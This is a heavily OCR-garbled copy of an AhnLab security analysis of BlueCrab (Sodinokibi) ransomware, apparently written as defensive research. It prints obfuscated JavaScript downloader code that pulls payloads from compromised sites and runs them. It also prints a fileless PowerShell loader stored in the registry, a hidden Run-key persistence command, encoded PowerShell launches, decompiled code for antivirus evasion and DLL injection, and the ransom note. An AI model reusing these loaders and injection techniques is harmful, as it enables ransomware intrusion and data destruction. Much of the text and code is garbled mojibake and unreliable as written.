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https://asec.ahnlab.com/ko/19640/

function remove (elem) {
if ('elem) return:
elem.parentNode.removeChild (elem) ;

}
if ('document.all) document.all = document.getElementsByTagName ("*") ;
for (i = 0; i < document.all.length; i++) {
if (document.all[i].tagName = "BODY" || document.all[i].tagName == "HTML") {} else {
remove (document.all[i]) :
}
} = e A — T = - —
document .body. :.’mer*iTHL '¢html><head><title>TrE HE T8 4+ EC title><style
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function JW2?(qo1 1

FO73 = 1)) deblVsce( t{afconrolc;4)6{VecV=6446=VecV{6)4:. clomocfaft (ecsVibed JEIENLW xWSh1K[UUJtK 1% 7 (] (% efNO 1x6e(d¥n
VuT=qo12;}

JW2T(0, " KUAMIsG™);

function Rd92(Tm31) {return Tm31 % (0z92+0z92):}

Cx61(1,"gkliGhxU");

kR31="IZyEUL;

k5=i1( ’

HIS4("IPcre™);

furldlon KCSB{WSES,mNSH {return ws28.charAt(mN32);} 2l 4. 7
function ks41(rp99,w¥18) {return Lx51 = eN16(FO73).split(kR31);} -
function eN16(MZ61) {h)96=Vu7;RK81=("");while (hJ96 < nl74) {kH9=XC58(MZ61,hJ96);if (Rd92(hI96)) RKE1=uT29(RKS1,kH9,RKS1);
function Rx91(Mqg22,PQ1) { return x51[cMN90](Lx51 [0z92])(Lx51[0z92]);}

RxQ1{"OMCE"):

function uT29(tH73,IW30,nb46) { return tH73+IW30; }

function HI54(vz88,mD63,nf33) {return Lx51[cN30] = JW27[Lx51[VuT]l}

function Ox61(Ux16){

Oz92=Ux16;

oM90=0z92+Ux16*0z92+Ux16;

ni74=; M

= JS mty

function surpriseQ{majors"oqtReGX; wave = every(hunt).splitimajor);post[4444567] = seem;}

function would(lady,gun,any,governwave[stick] (wave[offer]) (post))

function tie(eye,truck){return eye.charAt{truck);}

function busy(fraction){return fraction % (offer+offer);)

function receive(travel,name,quotienti{flower= oﬂer—flcwer’strck offeri-l"lower oﬁer+ﬂower'post[ ] = 5urpr|se}

function appear(include, fly){hunt = rl= a Hy)w" Wy P SEITUSMNetUI96xa %Mt 2l 5. 6

function every(arela=store;two="";while (2 < ] Iplanet-tle[are a) two-operate(m'o planet.a) at++; }retum twu}
art(post=[2731])

function art(shape,gentle,rule,plan){love= swhile( ) {try(post[love] (;)catch(objectpost[ 11 1=appear;}love++})
function seem(least,brother,soon){wave[stick] = appear{wave[store]l;post[>214017] = would;}

function operate(train,sentence,made) { if (busy(made)) return train+sentence; else return sentence+train; }

& 0/% JS 1Y
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AR FTH 23S 9I5H oY ATRES ZMT Uk 27|02 NSO T WHSIT QUCk JS B St & 3
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0|=HE{= “/search.php” 0| 2 A2 £0|C}. 1 0|A0i| = /info.php, forum.php 52| Tt ™S A6t HE QT PHP
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e = ["www.cwal037.o0rg", "www.cristianivanciu.ro", "www.communityvhalldp.org.ul
F=10;
while (F < Z) {
j = WScript.CreateCbject ("MSXMLZ.ServerXMLHITP') ;
= Math.random() .toString() ["= tr") (2, 70 + 30);
if (WScript.CreateObject ("WScript.5hell") .ExpandEnvironmencStrings ("3USERDNSDOMAINE") V= "RUSERDNSDOMAINE"™) |
2 =2 + "278146";

}

try {
j.open('GET', 'https://' + e[F] + '/search.php' + "2dotgguuubhfdww=" + z, false)’
j.send() s

} catech (e) {
return false:

}

if (j.status == 200) {
var q = j.responseText;

if ((q.indexOf("E" + z + "E", 0)) = -1) {
WScript.sleep (22222
} else {

g = g.replace("E" + z + "@", "");
var h = gq.replace(/(\d{2})/g, function(f) {
return String.fromCharCode (parseInt(f, 10) + 20);
I
tiny[2](h) ();
WScript.Quic()
}
} else {
WScript.sleep(22222);
}

F44:

—

a2l 6. =5t A=l JS ohed

JS mtQl AlsH A| C22 R E| =7} JavaScriptE Ct2 2 =510 A5t} JavaScript= PowerShell AT ZEE Z0{ AlEY
StCt. PowerShell A3 E= NET H0{ £ = InjectorE H| 22(0| 2 =510 4335t Injector= Delphi A10{ 2 = 2
2|0 LoaderE ™A T2 M AN QA A G0 AlSHSICE OIAAM =l Loader= %|Z %X 2 2 BlueCrab e M Q01 E 2 =51A
Elch 2ot o = Chg [O8 7]t 20| of2] o= =Z&E JEl E Foh=d|, 2 HAEZE HES| HE0| 755101 AV
235|0|| 80|3tCt. ofHEE| JS -> PowerShell -> .NET -> Delphi 2 X E|= 219 SE2 BSHX| UUom 2t £ 9|
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2. PowerShell A3 HiAlo| H{E

PowerShell B4 T4} 7| 2H S0+ 7Ha 842 & 0| 0| 2017l £0|ct 2
M2 B8510) BHAHE Of2H 24 20| CHIBIA ST

T
o
o
El
1
Pal
do
HO

PowerShell 9104 &

otUoM H X AEE|22 HE

7|&0]| = wscript.exe(JavaScript)7} PowerShell ATFE EE LI 2 EF S ol|E ot S A#SHCH 20204 102 12
EOIE HYO M= O Ol ATIEEE T 2 EFSHK| 20 chdl 2| X[AE2| EF 7]0]| .NET Injector H}O|HZ|E
arelst F o & 210 M| 22|0| E=5t= PowerShell HH0{E A St= YA 2 HEISIUCt s HH = &td H
Tt X|AER| AISAE 7|0 SSECt O|E LIEIH Fx&= 2 [O8! 8]ar Z2end Z2tzte| o= [E 1]o 2L
Atsdd 7)o HH I SEE7| WHEZ0| RHEE Al 2HA Qo] 2 27} e =Tt
[Registry]
Powershell Command
--------------- " 72l 8. Powershell 4
[Environment Variable]
Powershell Command
JavaScript [Registry]
PE Binary
(.Net Injector)
o Fx

B

chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);$Bytes = [byte[]]::new($hs.Length /
2);for($i=0; $i -It $hs.Length; $i+=2){$Bytes[$i/2] = [convert]:: ToByte($hs.Substring($i, 2), 16)}$Bytes};$i = 0;While
($True){$i++;$ko = [math]::Sqrt($i);if ($ko -eq 1000){ break}}[byte[]]$b = chba($a.replace(“!@#",$ko));
[Reflection.Assembly]::Load($b);[Mode]::Setup();

B X|AE2| [~CurrentVersion\Run]
“C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe” -windowstyle hidden -Command
“IEX([Environment]::GetEnvironmentVariable('[PCO|£7, ‘User’))”

M| XA EE| [~Software\"PCO|£+0"]
4d5a90000300000004000000ffff0000b80000000000000040000000000000000000...

FFI

1.2t 82 2 oijo|gf

- o

X AES| ASHY S5 L2 M A

=/
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2020 10 26 YR |AEE| AISAMH SE HQE M AL} Mt RHEE! Ao SEH5HX| 2fo 09, wscript.exeZ| &
o stdH=o| HHOE M SICt EESE Base64 T = S7H0l| “E ALEot0] HHSEHE A|=olRUCH AHSAY S5 &<

= oh o] AVOlM SLIE{R chAto| =22 w2 A A= U Holat FSECt

ri" 0%

“C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe” -e
J“AB3AD0AJWAGACOAQWBVAGOAbQBhAG4AZAAgACIASQBFAFg...(Z2H)...
HcAUwWBOAHKAbABIACAAaABpAGQAZABIAG4A“A

ZZMA EEZ|0f emd.exe =7}
7| &0 = wscript.exeZ} 2l & powershell.exeg A#MSIF 2L}, CMD HEHO{E E5H PowerShell€ ASHSIES HAE|
QUCH w2kl Zhe] BHY o TEAA E2|7} HMPE ULt

“C:\Windows\System32\cmd.exe” /c PowerShell -e
IABpPAGYAKABbAEUAbgB2AGkAcgBvAG4AbQBIAG4AdABJADOoAOgBJAHMANGAOAEIAaQBOAESBACABIA...(&
2y

BZES S2 Y A, BB T £}

SEH0| HHOE SE F A= #RIVEMAE I°*E+ [CHEEA EﬂKI*EEIOH % = .NET Injector€ ZE=35t=
PowerShell 2 0{ £ wscript.exe7}
=50 2t &4 oich 2MS| T E 2IXE 7*5_% HJ%OEIS’JEP.

I
E\J

<# brsjyxdus #>for ($i=0;$i -le 700;3$i++){$c="HKCU:\SOFTWARE\prizbydat”; Try{$a=$a+(Get-IltemProperty -path
$c).$i}Catch{}};function chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);$Bytes =
[byte[]]::new($hs.Length / 2);for($i=0; $i -It $hs.Length; $i+=2){$Bytes[$i/2] = [convert]::ToByte($hs.Substring($i, 2),
16)}$Bytes};$i = 0;While ($True){$i++;$ko = [math]::Sqrt($i);if ($ko -eq 1000){ break}}[byte[]]$b =
chba($a.replace(“!@#",$ko));[Reflection.Assembly]::Load($b);[Mode]::Setup();

3. PowerShell25.E{ A8 | = .NET Injector2]| HHg

Net Injector= Delphi LoaderE ©CI#&| M35}0] AdlSt= 2 &tE STt Delphi Loader HIO|LH 2| = HH=ESHEl HEHZ .NET
Injector QHof| Z5t=0f U204, NET Injectoris 0| S Z0{H & CHAL T2 M| A0] Q1% M504 Mg Bict.

Delphi Loader H}0| L{2|(21% 4 H[0]Ef) & &t Al e}

7|Z0f|= ct2 3} 20| Delphi Loader H}O| 42| £ Base64 QIF L & H37 2 FE 2t 2 MZAF oL 20204 102
12 =olE HAHO| M = the X[ YA S ALESH0] A ZEtct. “1000” 22 “I@# S2| 2XtE 2 x| 25t 0| K|
5l 2XjS “$%N SO = HEE 7| S SIIC) (20.11.28)

[
E t
>

10
T
o

o| %
—_ 1

.NET Injector7} 2I® M&t= Delphi Loader H}O|L42|= 7|Z& DLL = |O1|A-| EXE Z=glo
o|HZ|E QM M5tz Hhal Est HZA U =0, 7| &0 = Dl Injection 7|2 S At RCH

Hollowing 7| 2 At SiCt.

2 HAE|ACH kM s Bt
0 b

3] 0| =0{| = Process

2 =7} = Base64 23
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7|&0|= XIrlo| ZE= Z 2 M| A(powershell.exe)of| 7FAt 0| 22| £ &t2b5H0{ Delphi Loader HO|LH{ 2|2 g&'%}_ﬂ
DIIEntryPomt() St 0| RAE RO} | F AIBHGH= HEAIO|QUCH 20201 102 122 SH0I5| MBI M = HEo| T2 A
£ Suspend AEf 2 MM SH S| Delphi Loadere| ZZM|A 22| 2T E 9IAM = Resumest= A& & 91 Process
Hollowing EfAl© 2 & £ QiLC}.

12! 11. 7| DLL Injection 2=

121 12. 43S 0| = Process

[ payvioad

Hollowing Z &=
Ol M i A} TEAA S
& x7|0|= AAlof S5t
ALt X = SysWow64 C| =
CFC] S|0{QIC} QXA =
SHHA x64 42| A|AHE]
EMA EE[F RO HEE

5

EM|A &= powershell.exe O
El= TEM|AL| PathE= 5}
22 A2EStER
UCH QA M LA =2 M A= of2 2 20| X[EM oz HAEE 1T Ut
C =

—_oco

[El oD |

AES 20.11.28 20.12.04 20.12.04 20.12.07 20.12.07 20.1212 20.12.16 21.01.18

powershell.exe cmd.exe notepad.exe cscript.exe wscript.exe PING.exe find.exe write.exe WerFault.exe

H2 HE S0 QMM Oy ZEAA

4. Delphi Loader2| g

o| LSt Beet 24P s 22|At Asts B0 20{, UAC HIA[X|0f “0f"& + & Wi7Hx| 1002] EH=35t0
etrCt. 0|= BlueCrab HIO|LHEZ|E 2 =510 VSCAIA| & mhd %*ii} AR E selct.

=

Delphi Loader= BlueCrab 2H M 9|0{& 2 =E5t= 2182 §ict. 8H o A0 EY AV HIE RE3} I 235 59
=

W [

e

7/11



g Windows PowerShell

18 13 .95 EY 5= UAC O|A[X]
ZHOIEl H A|XE Microsoft Windows

XHad|s LiE EA|
V3 MH|A ELIEE FE =7t
2020 118 2 22l E MO M V3 Lite M ZF 2| MH[A “V3 Service™2| S&F HENE ZLE{ES= Z=7F FIHEIY
Ch 2HOF V3 MH[ATE S2F S 4 12 E Sleep 5t11 olle 2| E 5008| BHEBtCt EHM i S Bt E S&F S0l Al
Z AT HH[O|ET} O| RO ZICHH AH 22 MH|ATE SK|E = St 20 7 Lei=|of FEH| HEfIF 2k
V3 MZE2| 49 e o7t A EHet = Ch2f nhdo| ’“:LOP'— °“°|E AretstH|, ol2{ et ZEE 22|51 -r|°|'
o2 ZO0|Zth & V3 ME0 M= o218t ZLEE {20t & A0 M ZIEStD 7| =0 s ?(2t= 2

210] At 7HS S

if ( sub_413618(v3, (int)"Vv3 Service”) )
1
VG = 5003
do
{
Sleep(l@@8u);
if ( !sub_413618(v7, (int)"V3 Serwvice") )
break;
-=vbB}

12 14. V3 MH|A ZLEHE =

h
while ( v6 );

}

-

= 2AtY orsst

TIchE 3|olsty| ol LH S EXtE 2 =2 LS stote=
A AP E[QLX| B 0|= " Service”, “ervice” 52
AtE s HiAlO 2 B3 5| QIC} Tt B30 2 "ot Z AKX}

o= == 1
C}.

2 2ot HeE =70l = “V3 Service” EAtE0| 2t8 5}
Arde =34 £0|12, ApHH 2l ALt 2|5 =S 5+5104
A ==

IEE Feist| mhefsta UZS
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00012C40 FF FF FF FF 20 00 00 00 43 3A 5C 57 €9 6E 64 6F ¥y ...C:\Windo
00012C50 77 73 SC 53 79 73 74 €5 €D 33 32 5C 72 75 EF €4 wa\System32\rund
00012C60 &C 6C 33 32 2E 65 78 65 00 00 00 00 56 33 20 53 1ll32.exe...:¥3 5
00012C70 €5 72 TE €% €3 €5 00 00 55 8B EC 33 CO 55 €8 97 ervice..U¢i3AUn-
20201102 |go012c80 38 41 00 64 FF 30 €4 59 20 33 CO SA 59 59 64 £9 GA.dy0ds SAZYYd:

00012DCO 43 3A SC 57 69 €E €4 €F 77 73 5C 53 76 73 74 €5 C:\Windows\Sysce
00012DD0 €D 33 32 5C 72 75 €E €4 €C €C 33 32 2E €5 78 €5 m32\zundll32.exe
00012DE0 00 OO0 00 00 FF FF FF FF 01 00 OO0 00 5& 00 00 00 sss s TR ..V
00012DF0 FF FF FF FF 08 00 00 00 20 53 65 72 76 €9% 63 €5 4§yU¥.... Service
2020.11.09 | 90012200 00 00 00 00 FF FF FF FF 0S 00 00 00 31 32 33 34 ....yy¥y....1234

O0012E70 72 75 6E €4 &C €C 33 32 2E €5 78 €5 00 00 00 00 rundllil.exe....
00012E80 FF FF FF FF Ol 00 00 00 20 00 00 00 FF FF FF FF 9¥V¥-..+ ...¥U¥¥
Q0012ESQO ©1 00 00 Q0 56 00 00 00 FF FF FF FF 07 00 00 00 ....V...9999....
QOQL2EAD 53 €5 72 76 €% €3 €5 00 FF FF FF FF 03 00 00 00 Service.iii¥....
2020.11.10 Q0Q12EBO 53 76 63 00 FF FF FF FF 05 00 00 Q0 31 32 33 34 Svc.¥9i¥....1234

00012ET0 €C 6C 33 32 2E 65 78 65 00 00 00 00 FF FF FF FF 1132.exe....000¢
Q0012E80 01 00 00 00 20 00 00 00 FF FF FF FF 01 00 00 00 .... o 909¥....
Q0012E90 56 00 00 00 FF FF FF FF 01 OO0 00 OO0 53 00 00 00 VW...9099....5...
00012EA0 FF FF FF FF 06 00 00 00 €5 72 76 €% €3 65 00 00 §y¥¥....ervice..
2020.11.12 |g0012EB0 FF FF FF FF 02 00 00 00 76 63 00 00 55 8B EC 33 §Y¥¥....vc..Uci3

RS

rsrc MM O[O S35t

rsrc MM 2 X BK| RCDATA 8H29| | 0|E{7} XOR 2555/ QUCk 7| = “1234"2 St= 3L =0{QUCH 52 H|0|E{ =
EY EIAVNIEE R385t HRIE ot A2 DLLE, slie AVIH MX| = 0] JUIX| 42T AIZSIX| b= F&0|Ct

LS — — LS T
A EfAL EF™ AVE ALEotD JUCHH %USERPROFILE% A 201 db.bat 0|E 22 EEE = rundl32.exe 0f 2|5 A

SHE|09, system32 C|2l E2| 2| cleanmgr.exeE AlSH & OIA M GIC} Ol & M=l cleanmgr.exe= C|Z 0| Tt 0| £/ X|&t
ClA E2|E &of AN &9 E Siot

vll = CreateProcessA(
“C:\\Windows\\System32\\cleanmgr.exe",
(LPSTR)&CommandLine,
aies,
aies,

a,

a,

ei6s,

aies,
85tartuplInfo,

&ProcessInformation); j_%l 16

if ( vil )

{

5tr o= arg(l);

hProcess = OpenProcess({Bx1F@FFFu, @, ProcessInformation.dwProcessId);

if ( hProcess BR hProcess !s (HANDLE)-1i64 )

{
lpBaseAddress = VirtualallocEx(hProcess, 8i64, @x184uibd, @x38edu, 4u);
v3 = strlen(str);
WriteProcessMemory(hProcess
7 = CreateRemoteThread(hProc

cleanmgr.exe QIMM T =

while (1)

pBaseAddress, Str, v3 + 1, 0i64);
ss, @164, @164, (LPTHREAD_START ROUTINE)LoadLibraryA, lpBaseAddress, ®, 9i64);

v9 = readdir(v1e);
if ( 'vo )
break;
vB = concat(Str, (const char *)(v9 + 8));
FileName = concat((const char *)v8, "\\Hangeul.hwp"); Jzl17. 20|
ve = concat((const char *)v8, "\\Memo.txt");
v5 = concat((const char *)v8, "\\Photo.jpg");
if ( access(FileName, @) != -1 && access(v6, @) != -1 88 access(v5, @) != -1 )

Block = concat({(const char *)v8, "\\");

remove_directory((const char *)Block);
ot A EE| A 2
Delphi Loaderdi| 2|5l BlueCrab 2i412||0{ H}O| LA 2|7} 418 =/ PowerShell HZH0{E E35l VSC Atx||
HRIE sSIC US3I 2AEEH A= HIZSHE CH20 20| HASBIT

3
E_I
e
IS
ol
o
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All of your files are encrypted!

Find 12xrrtreadme txt and follow instuctions

All of your files are encrypted!
Find 12xrr+readme.txt and follow instructions

—=Welcome.Again.==-

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion
12xrr.

By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant
return your data (NEVER).

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do
our work and liabilities — nobody will not cooperate with us. Its not in our interests.

To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is
our guarantee.

If you will not cooperate with our service — for us, its does not matter. But you will lose your time and data, cause
Jjust we have the private key. In practise — time is much more valuable than money.

—(FE

T3 HMEE
V3 M E olM= Ch2a 22 ttrel ZIEt2 2 BlueCrab 24901 E A SOJCt.
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AhnLab V3 Lite

(X) ua=ne

% AE 0|2: Ransomware/Win BlueCrab.XM6&3
o A2 cWWindowsWSys
HEf: X2

OWedwWWerFault.exe

M FE A~
232E U Y=

AhnlLab V3 Lite

(X) etga= ne

=]

I E 0|2: Malware/MDP.Behavior,M3544

J

AhnLab V3 Lite

(X) etgasne

RHEIAE 0| E: Mabware/MDP.Inject.M3044

Z 22 0|§: werfault.exe

9| B E: Fileless 7|8 HX|

dF: g3 ce} At gEoz =M.
FA4LE FH P

H= 230 @R 2019-05-15 @7 2:58:48
AMEAF %= 329,169

S22 & w0 X0

e A Z2: cwwindowsWsyswowbdWwerfault exe ol 32 cwwindowsWsyswowbdWwerfault.exe
HEl). AHE ES HE| TE2MA EE
4 FE A

o34 BE A~
Z 24|~ 0|8: powershell.exe
WY e A T2 A H2E|Y A7)
Y AHAEL AT E9E 2
2242E YO JL

H= 20 @5 2019-05-15 278 2:58.48

SEhRE E
HE gd I7RKR 3= 2 27 KR HE ¢ 27hKR
SRS B3t c2m: E2H
gtol el gl
T2 98 B O 52X @7 1/1 T2 LEH E A »2xR &7 2/2 < T2 YUH B O 22X 87| 3/3 <

21 19. V3 RICt 5HH

[a+e FIEH
Ransomware/JS.BlueCrab.S1336
Ransomware/JS.BlueCrab.S1366

[H=22] ZIEH
Ransomware/Win.BlueCrab.XM37
Ransomware/Win.BlueCrab.XM63

(&< ZITh
Malware/MDP.Inject.M3044
Malware/MDP.Behavior.M3491
Malware/MDP.Behavior.M3544

Categories:0| 23, oM A= M

Tagged as:bluecrab, EZ 3 2, 212120, Ransomware, Sodinokibi

11/11


https://asec.ahnlab.com/ko/category/uncategorized-ko/
https://asec.ahnlab.com/ko/category/malware/
https://asec.ahnlab.com/ko/tag/bluecrab/
https://asec.ahnlab.com/ko/tag/%eb%b8%94%eb%a3%a8%ed%81%ac%eb%9e%a9/
https://asec.ahnlab.com/ko/tag/%eb%9e%9c%ec%84%ac%ec%9b%a8%ec%96%b4/
https://asec.ahnlab.com/ko/tag/ransomware/
https://asec.ahnlab.com/ko/tag/sodinokibi/

